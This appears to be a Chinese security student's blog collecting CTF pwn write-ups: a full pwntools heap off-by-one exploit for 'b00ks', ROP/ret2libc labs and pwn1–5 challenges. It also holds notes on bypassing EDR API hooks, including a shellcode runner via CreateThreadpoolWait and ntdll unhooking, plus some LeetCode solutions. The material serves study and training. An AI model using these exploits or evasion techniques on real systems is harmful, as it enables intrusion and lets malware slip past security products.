0%

off-by-one漏洞原理

off-by-one 是指单字节缓冲区溢出,这种漏洞的产生往往与边界验证不严和字符串操作有关,当然也不排除写入的 size 正好就只多了一个字节的情况。其中边界验证不严通常包括

  • 使用循环语句向堆块中写入数据时,循环的次数设置错误(这在 C 语言初学者中很常见)导致多写入了一个字节。
  • 字符串操作不合适

一般来说,单字节溢出被认为是难以利用的,但是因为 Linux 的堆管理机制 ptmalloc 验证的松散性,基于 Linux 堆的 off-by-one 漏洞利用起来并不复杂,并且威力强大。 此外,需要说明的一点是 off-by-one 是可以基于各种缓冲区的,比如栈、bss 段等等,但是堆上(heap based) 的 off-by-one 是 CTF 中比较常见的。我们这里仅讨论堆上的 off-by-one 情况。

off-by-one利用思路

  1. 溢出字节为可控制任意字节:通过修改大小造成块结构之间出现重叠,从而泄露其他块数据,或是覆盖其他块数据。也可使用 NULL 字节溢出的方法
  2. 溢出字节为 NULL 字节:在 size 为 0x100 的时候,溢出 NULL 字节可以使得 prev_in_use 位被清,这样前块会被认为是 free 块。(1) 这时可以选择使用 unlink 方法(见 unlink 部分)进行处理。(2) 另外,这时 prev_size 域就会启用,就可以伪造 prev_size ,从而造成块之间发生重叠。此方法的关键在于 unlink 的时候没有检查按照 prev_size 找到的块的大小与prev_size 是否一致。

实例1:Asis CTF 2016 b00ks

静态分析

程序基本情况如下,为64位程序,开启了RELRO、NX、PIE,程序提供了创建、删除、编辑、打印图书的功能。

image-20220422152606252

IDA看一下,首先是create,创建book时,name和description在堆上分配。首先使用malloc分配name buffer,大小不超过32;之后,分配description buffer, 大小自定义;最后分配book结构体,用于保存book的信息。

image-20220422165120899

分析图中可知第一个+6其实就是4*6=24 =0x18,后面以此类推(qword=8个字节)。其中unk_202024存储的其实就是bookID

image-20220422170501731

get_bookID获取的其实是在array_ptr(其实就是多个book_struct)中为0的索引(应该是为了方便后面放数据)

image-20220422170532547

点进my_read函数看一下,可以看到当输入数据的长度正好为size时,会向ptr中越界写入一个字节\x00

image-20220422173017935

以上分析总结如下图

image-20220422172403311

漏洞利用

当申请内存小于128k就会使用brk,大于128k的时候就会使用mmap,mmap开辟出的块与libc基址的偏移是固定的,因此只要拿到mmap开辟出的chunk的地址,就能通过一个“固定的偏移”得到libc

image-20220422181305302

看一下主函数一开始的一个函数

image-20220422182430456

image-20220422182244641

image-20220422182310438

从上图看到my_read函数会读32个字节的数据到author_name(可以看到当输入数据的长度正好为32时,会向author_name中越界写入一个字节\x00。)

printf函数用%s打印author_name,如果没有遇到\x00会一直输出,甚至输出array_ptr的内容。因此,如果名字长达32字节,就能够泄露出第一个book结构的地址。通过打印 author name 就可以获得 array_ptr 中第一项的值。

image-20220422182542583

为了实现泄漏,首先在 author name 中需要输入 32 个字节来使得结束符被覆盖掉。之后我们创建 book1 ,这个 book1 的指针会覆盖 author name 中最后的 NULL 字节,使得该指针与 author name 直接连接,这样输出 author name 则可以获取到一个堆指针。

程序中同样提供了change_name 函数, 用于修改 author name ,所以通过 该函数可以写入 author name ,利用 off-by-one 覆盖 array_ptr 第一个项的低字节。

覆盖掉 book1 指针的低字节(bookId)后,这个指针会指向 book1 的 description ,由于程序提供了 edit 功能可以任意修改 description 中的内容。我们可以提前在 description 中布置数据伪造成一个 book2结构,使得其中的book1_description_ptr指向book2_description_ptr;这样通过先后修改book1_description和book2_description,从而实现任意地址写任意内容的功能。

我们已经获得了任意地址读写的能力,但是这个题目开启 PIE 并且没有泄漏 libc 基地址的方法,在分配第二个 book 时,使用一个很大的尺寸,使得堆以 mmap 模式进行拓展。我们知道堆有两种拓展方式一种是 brk 会直接拓展原来的堆,另一种是 mmap 会单独映射一块内存。

在这里我们申请一个超大的块,来使用 mmap 扩展内存。因为 mmap 分配的内存与 libc 之前存在固定的偏移因此可以推算出 libc 的基地址。

payload

image-20220424160048417

第一个框就是我们输入的32个a(author_name),第二个框就是book1_struct_ptr,第三个框就是book2_struct_ptr。两者相差0x30,详细查看一下其中的内容,可以看到保存的分别是Id,name_ptr,des_ptr,des_size。

image-20220424161615083

由于该程序启用了FULL RELRO保护措施,无法对GOT进行改写,但是可以改写__free_hook__malloc_hook

__free_hook指向的内容修改为system的地址,在调用free函数时,由于__free_hook里面的内容不为NULL,从而执行指向的指令。

__free_hook参考如下:

image-20220424172750488

执行edit修改的是book_des_ptr和book_des_size的内容

image-20220424190405283

因为book1的des指向book2的des处,将该处改为__free_hook地址,那么写book2的des时就会往__free_hook处写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *

io = process("./b00ks")
binary = ELF("b00ks")
libc=binary.libc
def createbook(name_size, name, desc_size,desc):
io.recv()
io.sendline("1")
io.sendlineafter('Enter book name size: ', str(name_size))
io.sendlineafter('Enter book name (Max 32 chars): ', name)
io.sendlineafter('Enter book description size: ', str(desc_size))
io.sendlineafter('Enter book description: ', desc)

def createname(name):
io.sendlineafter('Enter author name: ', name)

def changename(name):
io.recv()
io.sendline('5')
io.sendlineafter('Enter author name: ', name)

def printbook(id):
io.readuntil("> ")
io.sendline("4")
io.readuntil(": ")
for i in range(id):
book_id = int(io.readline()[:-1])
io.readuntil(": ")
book_name = io.readline()[:-1]
io.readuntil(": ")
book_des = io.readline()[:-1]
io.readuntil(": ")
book_author = io.readline()[:-1]
return book_id, book_name, book_des, book_author

def deletebook(bookId):
io.recv()
io.sendline("2")
io.sendlineafter('Enter the book id you want to delete: ', str(bookId))

def edit_book(bookId, desc):
io.recv()
io.sendline('3')
io.sendlineafter('Enter the book id you want to edit: ', str(bookId))
io.sendlineafter('Enter new book description: ', desc)


createname("A"*32)
createbook(128, "book1", 32, "book1 created")

#leak book1_struct_addr

book_id_1, book_name, book_des, book_author = printbook(1)
book_addr_1 = u64(book_author[32:32+6].ljust(8,b'\x00'))

log.success("book1_address:" + hex(book_addr_1))
#create book2, addr needs to be bigger(ex 0x21000), so that we can call mmap()

createbook(0x21000, 'book_2', 0x21000, 'second book create')
#fake_book1_struct
payload = p64(1) + p64(book_id_1 + 0x38) + p64(book_addr_1 + 0x40) + p64(0xffff)
edit_book(book_id_1,payload)

changename("a"*32)
book_id_1, book_name, book_des, book_author = printbook(1)
book2_name_addr = u64(book_name.ljust(8,b'\x00'))
book2_des_addr = u64(book_des.ljust(8,b'\x00'))
log.success("book2 name addr:" + hex(book2_name_addr))
log.success("book2 des addr:" + hex(book2_des_addr))
offset = book2_name_addr - 0x7ffff79e2000
libc_base = book2_name_addr - offset
log.success("libc base:" + hex(libc_base))

free_hook = libc.symbols['__free_hook'] + libc_base
system = libc.symbols['system'] + libc_base
binsh_addr = libc.search('/bin/sh').next() + libc_base

payload = p64(binsh_addr) + p64(free_hook)
edit_book(book_id_1, payload)

payload = p64(system)
edit_book(2, payload)

deletebook(2)
io.interactive()

参考链接:bilibili这个讲的很清楚

参考文章:A practical guide to bypassing userland API Hooking

​ 这里主要是对这篇文章提到的绕过技术进行一个翻译总结。

shellcode 编码或加密

​ Cobalt Strike shellcode 使用带有静态密钥的简单 XOR 编码进行编码足以绕过 EDR 静态分析。

检测API挂钩

​ API 挂钩是许多 EDR 或防病毒供应商使用的一种技术,用于实时监控进程或代码执行是否存在恶意行为。要检测 EDR 是否实现 API 挂钩,我们可以简单地查看可能被 EDR 挂钩的函数调用的前几条指令。这些被挂钩的函数通常是一些进程注入调用的函数,例如 NtOpenProcess、NtCreateThread 或 NtCreateUserProcess。

​ 为了识别所有潜在的挂钩函数调用,有一个开源工具可以在执行期间将函数调用指令的前几个字节与系统 DLL 中相同函数调用的干净版本进行比较。

避免使用已被hook的API

​ 一旦我们确定了 EDR 可以拦截哪些函数调用,我们就可以使用代码执行或进程注入技术来避免这些函数调用。比如可以使用CreateThreadpoolWait函数实现shellcode执行技术。

  • 使用CreateEvent函数创建一个signaled的事件对象(否则无法触发回调)
  • 使用VirtualAlloc给shellcode分配内存空间
  • 使用RtlMoveMemory写入shellcode到当前进程指定内存空间中
  • 使用CreateThreadPoolWait函数创建一个线程池等待回调,其中回调函数指向我们的shellcode(在本文演示过程中,由于设置了事件状态为signaled,因此会立即触发回调并执行shellcode)
  • 使用SetThreadPoolWait设置线程池需要监听的事件,此时将监听步骤1创建的事件
  • 使用WaitForSingleObject对步骤1的事件进行等待(防止进程直接退出)
1
2
3
4
5
6
7
8
HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
LPVOID shellcodeAddress = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(shellcodeAddress, shellcode, sizeof(shellcode));

PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)shellcodeAddress, NULL, NULL);
SetThreadpoolWait(threadPoolWait, event, NULL);
WaitForSingleObject(event, INFINITE);

修补被hook的API

​ 通过修补已被 EDR 覆盖的指令的几个字节来恢复函数调用的原始指令。以文中提到的NtOpenProcess为例。

​ 下图分别为被挂钩的和未被挂钩的函数,用于 NtOpenProcess 函数调用 (7FFD749CD220) 的内存地址的前 16 个字节被 EDR 覆盖,以将函数的执行流程重定向到 EDR 的代码。如果我们可以使用与图中所示的原始指令相同的指令来修补这些内存地址,我们可以防止 EDR 将执行流程重定向到 EDR。

image-20220420153331438

image-20220420153343628

​ 修补代码如下

image-20220420153628939

bypass bitdefender这篇博客也用了这样的方法,不过到最后发现还有一点被查杀是因为用的是http检测到了流量,最终使用https解决问题。

将整个DLL脱钩

​ 因为需要修补的函数可能不止一个,所以可以简单地使用该技术。

这种技术本质上依赖于将驻留在内存中(并已被 EDR 篡改)的 ntdll 代码替换为存储在磁盘上的版本,其中包含原始指令。

image-20220420154729825

代码如下:

image-20220420155151799

Cobalt Strike 反射 DLL 注入

.net程序集–D/Invoke

​ 动态调用(D/Invoke)是一种动态调用非托管代码而不使用P/Invoke逃避API hook的技术。P/Invoke 是一种从非托管代码中调用托管代码的技术,通常被恶意软件开发人员用NET 语言来执行shellcode。

​ 动态调用(DInvoke)在运行时加载 DLL 并使用指向其在内存中位置的指针调用函数,而不是使用 PInvoke 静态导入 API 调用。可以从内存中调用任意非托管代码(同时传递参数),从而以各种方式绕过 API 挂钩并反射性地执行利用后的有效负载。这也避免了通过 .NET 程序集的 PE 标头中的导入地址表查找可疑 API 调用的导入的检测。

DInvoke

.net程序集–Execute-Assembly

​ 关于这个可以看一下这一篇文章Excute-Assembly

参考文章:Dvide and ConquerDivide and Conquer - A technique to bypass NextGen AV

​ 现在基于API调用顺序(函数执行链)来执行检测是很常用的手法,常见的行为检测会有监控堆栈的调用链和hook API记录行为,看到有博客分享了一种通过不同进程分离执行API来绕过基于行为得AV检测的方法。

​ 监控通过两种方式实现:

  1. 在内核级别有一些监控,但 在Windows 并不是很友好。对于文件和注册表操作或进程加载,只能执行一组有限的回调。不能通用地监控 API 调用,如果是 AV 供应商,这是一个大问题。
  2. 由于这些限制,每个 AV 都会在用户模式下放置挂钩,通常在 ntdll 中,但也会在许多其他地方,通常在被恶意软件滥用的 API 中。反病毒产品的DLL是从内核模式强制进入我们的进程的,所以我们无法真正绕过它。

流程

  • 首先创建NotePad这个傀儡进程
  • 分配内存并标记为RWX,将shellcode写到该内存中
  • 创建同文件进程并传入PID作为进程参数
  • 通过PID打开傀儡句柄
  • 创建远程线程运行shellcode

image-20220413180521908

字符串-实现strstr()

题目链接

暴力破解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class Solution {
public:
int strStr(string haystack, string needle) {
int n = haystack.size();
int m = needle.size();
for(int i = 0; i <= n - m; i++){
int j = i, k = 0;
while(k < m && haystack[j] == needle[k]){
j++;
k++;
}
if(k == m) return i;
}
return -1;

}
};

字符串-左旋字符串

题目链接

​ 先翻转前一部分和后一部分,然后在全部反转,这样可以不用重新申请空间。也可以重新申请一个string装新的数据,这样也很简单。

1
2
3
4
5
6
7
8
9
10
class Solution {
public:
string reverseLeftWords(string s, int n) {
reverse(s.begin(), s.begin() + n);
reverse(s.begin() + n, s.end());
reverse(s.begin(), s.end());

return s;
}
};

Linux x86和x64区别

  1. 首先是内存地址的范围由32位变成了64位。但是可以使用的内存地址不能大于0x00007fffffffffff,否则就会抛出异常。

  2. 其次是函数参数的传递方式发生了改变,x86中参数都是保存在栈上,但在x64中的前六个参数依次保存在RDI, RSI, RDX, RCX, R8和R9中,如果还有更多的参数的话才会保存在栈上。

X86

level1 - 栈上执行shellcode

level1主要演示32位程序中最基本的栈溢出利用,可直接在栈上写shellcode并执行。

image-20220411111305626

用下面命令编译,-m32参数指定编译为32位程序;-fno-stack-protector参数指定不开启堆栈溢出保护,即不生成 canary;-z execstack参数指定允许栈执行,即不开启NX。

1
gcc -m32 -fno-stack-protector -z execstack -o level1 level1.c

关闭ALSR,先进root权限,然后执行命令

1
echo 0 > /proc/sys/kernel/randomize_va_space

查看是否关闭成功,以及程序情况,发现已经关闭了,但是还是显示PIE打开,后续看看能不能溢出再说。

image-20220411112803443

采用pattern_offset获取偏移量,现在知道了偏移量,剩下的就是构造shellcode以及控制PC跳转到shellcode地址上。

image-20220411140147029

shellcode构造直接用,pwntools的asm(shellcraft.sh())来获得。

下面获取写入的shellcode地址。由于ASLR等都关掉,因此现在获取的地址就不会变了。采用gdb查看内存的方式x/10s $esp-144(144是140加上四字节的ret)

image-20220411141134398

但是如果这样利用该地址其实运行会出错。查网上的博客发现:

对初学者来说这个shellcode地址的位置其实是一个坑。因为正常的思维是使用gdb调试目标程序,然后查看内存来确定shellcode的位置。但当你真的执行exp的时候你会发现shellcode压根就不在这个地址上!这是为什么呢?原因是gdb的调试环境会影响buf在内存中的位置,虽然我们关闭了ASLR,但这只能保证buf的地址在gdb的调试环境中不变,但当我们直接执行./level1的时候,buf的位置会固定在别的地址上。怎么解决这个问题呢?

最简单的方法就是开启core dump这个功能。当程序运行的过程中异常终止或崩溃,操作系统会将程序当时的内存状态记录下来,保存在一个文件中,这种行为就叫做Core Dump。可以认为是内存快照,除了内存信息外,还有一些寄存器信息,内存管理信息,其他处理器和操作系统状态和信息被保存下来。用下面这两条命令开启该功能:

1
2
ulimit -c unlimited
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'

开启之后,当出现内存错误的时候,系统会生成一个core dump文件在tmp目录下。然后我们再用gdb查看这个core文件就可以获取到buf真正的地址了。

image-20220411143033923

得到shellcode真正地址是0xffffd150

payload

image-20220411144041530

image-20220411144025934

果然出错了,还是之前查看程序的时候发现PIE和relro保护都有,把作者在github上的程序重新跑一下前面的步骤发现可行了

image-20220411145234664

远程部署

除了本地调试,还有远程部署的方式,如下,将题目绑定到指定端口上:

1
socat tcp-l:10001,fork exec:./level1

payload除了将p = process(“./level1”)改为p = remote(“127.0.0.1”, 10001)外,ret的地址还会发生改变。解决方法还是采用生成core dump的方案,然后用gdb调试core文件获取返回地址

image-20220411153012363

image-20220411153059184

image-20220411153110496

level2 - ret2libc绕过NX

还是首先看一下这个程序情况,发现只开了NX保护

image-20220411153712277

这样就不能和前面一样将shellcode写到栈上去,我们可以看一下,level1的stack是rwx的,但是level2的stack却是rw的

1
cat /proc/[pid]/maps

image-20220411154528160

既然开启了NX,那一般是利用ROP绕过,这里用的是ret2libc,因为程序level2调用了libc.so,并且libc.so里保存了大量可利用的函数如system()和/bin/sh,我们如果可以让程序执行system(“/bin/sh”)的话,也可以获取到shell。

所以现在重要的是获取system和/bin/sh的地址。因为关掉了ALSR,所以system函数在内存中地址不会变化,并且libc.so中也包含”/bin/sh”这个字符串,并且这个字符串的地址也是固定的。

在main下断点然后运行,system地址和bin/sh地址都全出来了,溢出偏移量和之前一样140

image-20220411155713622

payload

这里就不写了,很简单,和之前ret2libc差不多

level2 - ROP绕过NX和ASLR

就在上一题的基础上,不过需要打开ALSR,如果你通过sudo cat /proc/[pid]/maps或者ldd查看,你会发现level2的libc.so地址每次都是变化的:

image-20220411161110720

image-20220411161127819

所以这次如何利用呢?——思路是:先泄漏出libc.so某些函数在内存中的地址,再利用泄漏出的函数地址根据偏移量计算出system()函数和/bin/sh字符串在内存中的地址,最后执行我们的ret2libc的shellcode。既然栈、libc、堆的地址都是随机的,我们怎么才能泄露出libc.so的地址呢?方法还是有的,因为程序本身在内存中的地址并不是随机的,如图所示,Linux内存随机化分布图:

image-20220411161439026

所以我们只要把返回值设置到程序本身就可执行我们期望的指令了。

首先我们利用objdump来查看可以利用的plt函数和函数对应的got表:

image-20220411161818642

我们可以通过write@plt ()函数把write()函数在内存中的地址也就是write.got给打印出来。

既然write()函数实现是在libc.so当中,那我们调用的write@plt()函数为什么也能实现write()功能呢? 这是因为linux采用了延时绑定技术,当我们调用write@plit()的时候,系统会将真正的write()函数地址link到got表的write.got中,然后write@plit()会根据write.got 跳转到真正的write()函数上去。

因为system()函数和write()libc.so中的相对地址是不变的,所以如果我们得到了write()的地址并且拥有目标服务器上的libc.so就可以计算出system()在内存中的地址了。

然后我们再将pc指针return回vulnerable_function()函数,就可以进行ret2libc溢出攻击,并且这一次我们知道了system()在内存中的地址,就可以调用system()函数来获取我们的shell了。

使用ldd命令可以查看目标程序调用的so库。随后我们把libc.so拷贝到当前目录,因为我们的exp需要这个so文件来计算相对地址:

image-20220411162311187

除了用ldd命令查看libc.so库,还可以直接用pwntools库的elf.libc来获取libc.so库:

1
2
3
from pwn import *
elf = ELF("./level2")
libc = elf.libc

payload

说一下write函数原型

1
ssize_t write(int fd,const void*buf,size_t count);

所以首先填充‘a’造成溢出,覆盖到返回地址,返回地址填上write函数的plt地址来调用write函数,之后跟上vulnerable_function函数地址(其实设置成main也行,我们要将程序程序重新执行一遍,再次利用输入点来进构造rop)
p32(1)+p32(write_addr)+p32(4)是在设置write函数的参数,对应函数原型看一下,32位程序是4位,所以这边写的4,对应的64位程序是8位

image-20220411165400556

image-20220411165337387

level2 - 在不获取目标libc.so的情况下进行ROP攻击

如果我们在获取不到目标机器上的libc.so情况下,应该如何做呢?这时候就需要通过memory leak(内存泄露)来搜索内存找到system()的地址。

这里采用pwntools提供的DynELF模块来进行内存搜索。首先我们需要实现一个leak(address)函数,通过这个函数可以获取到某个地址上最少1 byte的数据。拿上一篇中的level2程序举例。leak函数应该是这样实现的:

1
2
3
4
5
6
def leak(address):
payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4)
p.send(payload1)
data = p.recv(4)
print "%#x => %s" % (address, (data or '').encode('hex'))
return data

随后将这个函数作为参数再调用d = DynELF(leak, elf=ELF(‘./level2’))就可以对DynELF模块进行初始化了。然后可以通过调用system_addr = d.lookup(‘system’, ‘libc’)来得到libc.so中system()在内存中的地址。

要注意的是,通过DynELF模块只能获取到system()在内存中的地址,但无法获取字符串“/bin/sh”在内存中的地址。所以我们在payload中需要调用read()将“/bin/sh”这字符串写入到程序的.bss段中。.bss段是用来保存全局变量的值的,地址固定,并且可以读可写。通过readelf -S level2这个命令就可以获取到bss段的地址了,或者IDA中直接ctrl+s就可以获取了。

image-20220411172320166

当然,可以在pwntools中直接调用elf.bss()获取.bss段地址:

1
2
elf = ELF("./level2")
bss_base = elf.bss()

因为我们在执行完read()之后要接着调用system(“/bin/sh”),并且read()这个函数的参数有三个,所以我们需要一个pop pop pop ret的gadget用来保证栈平衡。这里我们用ROPgadget来寻找:

image-20220411173204893

注意用python3会出现对DynELF模块不兼容的问题, python3和python2的最大区别(pwn中), 是bytes和str类型不共通了, 所以原本python2能跑的脚本, 在python3得考虑类型转换问题, DynELF中报错也是因为这个

1
2
3
4
5
sudo gedit /usr/local/lib/python3.8/dist-packages/pwnlib/dynelf.py
#把下面这一行改了
result = e.symbols[symb]
#改成这个
result = e.symbols[symb.decode()]

image-20220411194023196

image-20220411193850745

x64

level 3 - 通过 ROP 绕过 DEP 和 ASLR 防护

程序代码如下:

image-20220411195114336

image-20220411195303008

查看文件基本情况,发现是64位动态链接的文件,之开启了NX保护

我们用GDB调试一下,输入大量字符串,程序终止在vulnerable_function()函数处

image-20220411195704764

奇怪的事情发生了,PC指针并没有指向类似于0x41414141那样地址,而是停在了vulnerable_function()函数中。这是为什么呢?原因就是我们之前提到过的程序使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。但是,虽然PC不能跳转到那个地址,我们依然可以通过栈来计算出溢出点。因为ret相当于“pop rip”指令,所以我们只要看一下栈顶的数值就能知道PC跳转的地址了。

image-20220411195850173

payload

其实payload也很简单,和之前一样,因程序中本来就存在一个callsystem()函数,其会直接调用system(“/bin/sh”),那就简单多了。

1
payload = "A" * 136 + p64(callsystem_addr)

level 4 - 使用ROPgadget寻找gadget

x64中前六个参数依次保存在RDI,RSI,RDX,RCX,R8和 R9寄存器里,如果还有更多的参数的话才会保存在栈上。所以我们需要寻找一些类似于pop rdi; ret的这种gadget。如果是简单的gadgets,我们可以通过objdump来查找。但当我们打算寻找一些复杂的gadgets的时候,还是借助于一些查找gadgets的工具比较方便。比较有名的工具有:

ROPEME: https://github.com/packz/ropeme

Ropper: https://github.com/sashs/Ropper

ROPgadget: https://github.com/JonathanSa…

rp++: https://github.com/0vercl0k/rp

程序代码如下,看到程序在一开始运行时调用systemaddr()函数,该函数会从本程序用到的libc.so.6中获取其中的system()函数地址并打印出来:

image-20220411201005408

程序文件情况如下,只开了NX保护

image-20220411201337087

因为我们知道了溢出偏移量和system()函数的地址,剩下的就是通过寄存器给system()函数传参了,而在64位中传参的前六个参数是通过寄存器来实现的,而且system()只接受一个参数,因此我们需要找到一条pop rdi;ret的Gadget来帮助我们实现,这里我们用的是ROPgadget工具帮我们查找:

image-20220411202231371

image-20220411202305530

payload

先填充栈空间,到达 rip 上一个内存空间。覆写为gadget地址,再接着是/bin/sh内存地址,这样就可以将/bin/sh存入到 rdi 寄存器。

image-20220412103155409

level5 - 通用gadgets

因为程序在编译过程中会加入一些通用函数用来进行初始化操作(比如加载libc.so的初始化函数),所以虽然很多程序的源码不同,但是初始化的过程是相同的,因此针对这些初始化函数,我们可以提取一些通用的gadgets加以使用,从而达到我们想要达到的效果。

level5.c代码如下,相比于level3和level4,去掉了提供system()或其地址的辅助函数:

image-20220412105037820

这道题思路和level2-ROP绕过NX和ALSR一样,但问题在于write()的参数应该如何传递,因为x64下前6个参数不是保存在栈中,而是通过寄存器传值。我们使用ROPgadget并没有找到类似于pop rdi, ret,pop rsi, ret这样的gadgets。那应该怎么办呢?其实在x64下有一些万能的gadgets可以利用。比如说我们用objdump -d ./level5观察一下__libc_csu_init()这个函数。一般来说,只要程序调用了libc.so,程序都会有这个函数用来对libc进行初始化操作。

image-20220412113304210

这个函数里先执行400606再执行4005f0有以下赋值过程

1
2
3
4
5
6
7
8
RDI,RSI,RDX
[RSP+0X8]->RBX
[RSP+0X10]->RBP
[RSP+0X18]->R12
[RSP+0X20]->R13;R13D->EDI
[RSP+0X28]->R14->RSI
[RSP+0X30]->R15->RDX
CALL [R12+RBX*8]

只要我们控制rbx的值为 0 ,精心构造栈上传入上述寄存器的值,就可以实现控制 pc ,调用我们想要的函数。

为什么需要控制 rbx 的值为0?

执行完 call qword ptr [r12+rbx*8] 之后,程序会对rbx+=1,然后对比 rbp 和 rbx 的值,如果相等就会继续向下执行并 ret 到我们想要继续执行的地址。所以为了让 rbp 和 rbx 的值相等,我们可以将 rbp 的值设置为1,因为之前已经将 rbx 的值设置为0了。

我们先构造一个payload1输出write在got表中的地址

为什么使用的是 write.got 而不是 write.plt?

write.plt 相当于 call write。执行了两个动作,将指针跳转到 write 真实地址;将返回地址压栈。

write.got 仅将指针跳转到 write 真实地址。

整个流程如下:

  • 由于利用到泄露函数地址和向.bss段写内容的功能,需要先获取write()和read()函数的GOT地址;

  • payload1先填充溢出偏移量的字符、然后根据gadget1来设置对应寄存器的值、再调用gadget2、然后填充字符至gadget1的ret指令处、最后调用输入的返回地址即main处让程序继续执行下去;这里注意两个偏移量,第一个136是程序本身溢出到ret的偏移量,而第二个56则是gadget2跑完之后还要继续往下跑到gadget1的ret中去,这中间需要填充56个字节;

  • 当我们exp在收到write()在内存中的地址后,就可以计算出system()在内存中的地址了。接着构造payload2,利用read()将system()或execve()的地址以及“/bin/sh”读入到.bss段内存中;

  • 最后我们构造payload3,调用system()函数执行“/bin/sh”。注意,system()的地址保存在了.bss段首地址上,“/bin/sh”的地址保存在了.bss段首地址+8字节上。

image-20220412153739968

image-20220412153831586

image-20220412153857551

字符串-颠倒字符串中的单词

题目链接

​ 先全部反转,然后从不是空格的第一个单词字符开始计算。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class Solution {
public:
string reverseWords(string s) {
reverse(s.begin(), s.end());
int n = s.size();
int m = 0;
for (int i = 0; i < n; ++i) { //如果是i++会导致字符重复,比如“ hello world ”到这一步会变成“worldw olleh”
if (s[i] != ' ') {
if (m != 0)s[m++] = ' ';
int j = i;
while (j < n && s[j] != ' ')
s[m++] = s[j++];
reverse(s.begin() + m - (j - i), s.begin() + m);
i = j;
}

}
s.erase(s.begin() + m, s.end());//调试发现这一步非常重要
return s;
}
};

字符串-替换空格

题目链接

​ 这道题需要注意的就是替换的字符长度是3,对于数组我们需要先扩充大小,然后再一一替换,利用双指针会方便很多。

  1. 不用申请新数组。(看到网上有人申请新数组,然后push_back)
  2. 从后向前填充元素,避免了从前先后填充元素要来的 每次添加元素都要将添加元素之后的所有元素向后移动。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
class Solution {
public:
string replaceSpace(string s) {
int num = 0;
for(int i = 0; i < s.size(); i++){
if(s[i] == ' ') num++;
}
int left = s.size() - 1;
s.resize(s.size() + num*2);
int newSize = s.size();
int right = newSize - 1;
for(; left < right; left--, right--){
if(s[left] != ' ')s[right] = s[left];
else{
s[right] = '0';
s[right-1] = '2';
s[right-2] = '%';
right -= 2;
}

}
return s;
}
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class Solution:
def replaceSpace(self, s: str) -> str:
num = s.count(' ')
res = list(s)
res.extend([' '] * num * 2)

left, right = len(s) - 1, len(res) - 1

while left >= 0:
if res[left] != ' ':
res[right] = res[left]
right -= 1
else:
res[right - 2 : right + 1] = '%20'
right -= 3
left -= 1
return ''.join(res)

pwn1

​ 看一下程序基本情况如下,动态链接的32位程序,只有canary保护没有打开。

image-20220407150427052

image-20220407150257274

​ IDA看一下程序,可以看到明显gets函数处存在栈溢出,并且当v5等于某个值的时候,就执行print_flag函数输出flag。右键那个值->hexadecimal,可以看到该值十六进制为0xDEA110CB,也就是当v5为该值,就会输出flag,所以只需要栈溢出覆盖v5的值为0xDEA110CB,不需要自己找system('/bin/sh')

image-20220407151610311

​ 计算一下偏移变量s到变量v5的偏移距离,由IDA得s=ebp-3Bh、v5=ebp-10h,两者偏移距离为2Bh

image-20220407152707564

payload

image-20220407153452051

因为服务器啥的已经没开了,所以只能纸上谈兵hh,但是这道题确实也就比较简单。

pwn2

​ 先看一下该文件的详细信息,发现依旧只有canary没打开。是动态链接的32位程序。

image-20220407153944825

IDA看一下程序,可以看到gets函数存在明显的栈溢出漏洞,字符串和函数中都没有看到systembin/sh的身影,并且下面有一个函数select_func

image-20220407155104364

看一下代码逻辑,发现拷贝了0x1F个字符到目标字符串,如果目标字符串等于one时候,将one赋值给v3,然后调用v3()

image-20220407155317532

看函数列表,存在one()``two()函数以及print_flag(),函数地址分别为0x00000754,0x000006AD,0x000006D8。

image-20220407160314057

image-20220407162416467

image-20220407162438986

我们现在需要做的就是跳转到print_flag函数,gets函数可以赋值31个字节给dest变量,dest与v3之间相差30个字节,可以溢出一个字节,v3初始值为two,two又与print_flag函数相差一个字节,所以溢出的一个字节就可以将v3的初始值修改为print_flag函数地址。

image-20220407163600996

payload

image-20220407164012235

pwn3

​ 惯例看一下程序情况,发现只开了RELRO以及PIE,并且有RWX段。推测可能是自己写shellcode的题目。

image-20220407164138366

​ IDA打开看一下,主要点进echo函数看一下,发现存在gets函数栈溢出漏洞(注意题目本身就泄露出了s的地址)

image-20220407164648542

image-20220407164725968

​ s的地址为ebp-12Ah,画个图看一下。s与EBP之间相差298个字节,s规定的数据为294字节大小,所以溢出够298+4个字节后将获取到的s地址覆盖掉函数返回地址、使程序跳转至s处执行shellcode。

image-20220407171136775

payload

image-20220407172044765

pwn4

​ 发现只开启了NX保护

image-20220407172747624

​ IDA查看字符串和函数,可以看到有‘/bin/sh’和system函数,/bin/sh字符串,地址为0x0804A034

image-20220407190256774

image-20220407190433644

​ 主函数循环执行laas函数,该函数中可以看到gets函数存在明显栈溢出漏洞,如果在s字符串中没有找到ASCII码为47的字符/,那么就传入s参数执行run_cmd函数

image-20220407190659867

image-20220407190733634

​ 在run_cmd()函数未进行任何过滤直接调用system()函数执行系统命令(虽然可以直接sendline('/bin/cat flag.txt'),但是这道题还是走一下常规pwn思路):

image-20220407190901388

看下call system()的地址,为0x080485AD,字符串s地址为ebp-21h:

image-20220407191305838

payload

image-20220407193706392

还有一种写法,下面就是利用system的地址,而不是cal了system的地址

image-20220407193829235

pwn5

​ 查看程序基本情况,发现是静态链接的,那就和libc无关了,并且只开了NX

image-20220407194026908

​ IDA发现其实逻辑啥的和pwn4一样,不过下图圈起来这里变成了7(这里也可以直接用;$0,还有一种利用vi命令及:shell的骚姿势,输入;vi再输入:shell即可执行shell)

image-20220407194549935

​ 也可以找到‘/bin/sh’字符串和system函数。地址分别为0x080BC140和0x0804EE30,s地址为ebp-0Dh

image-20220407194754387

image-20220407194825643

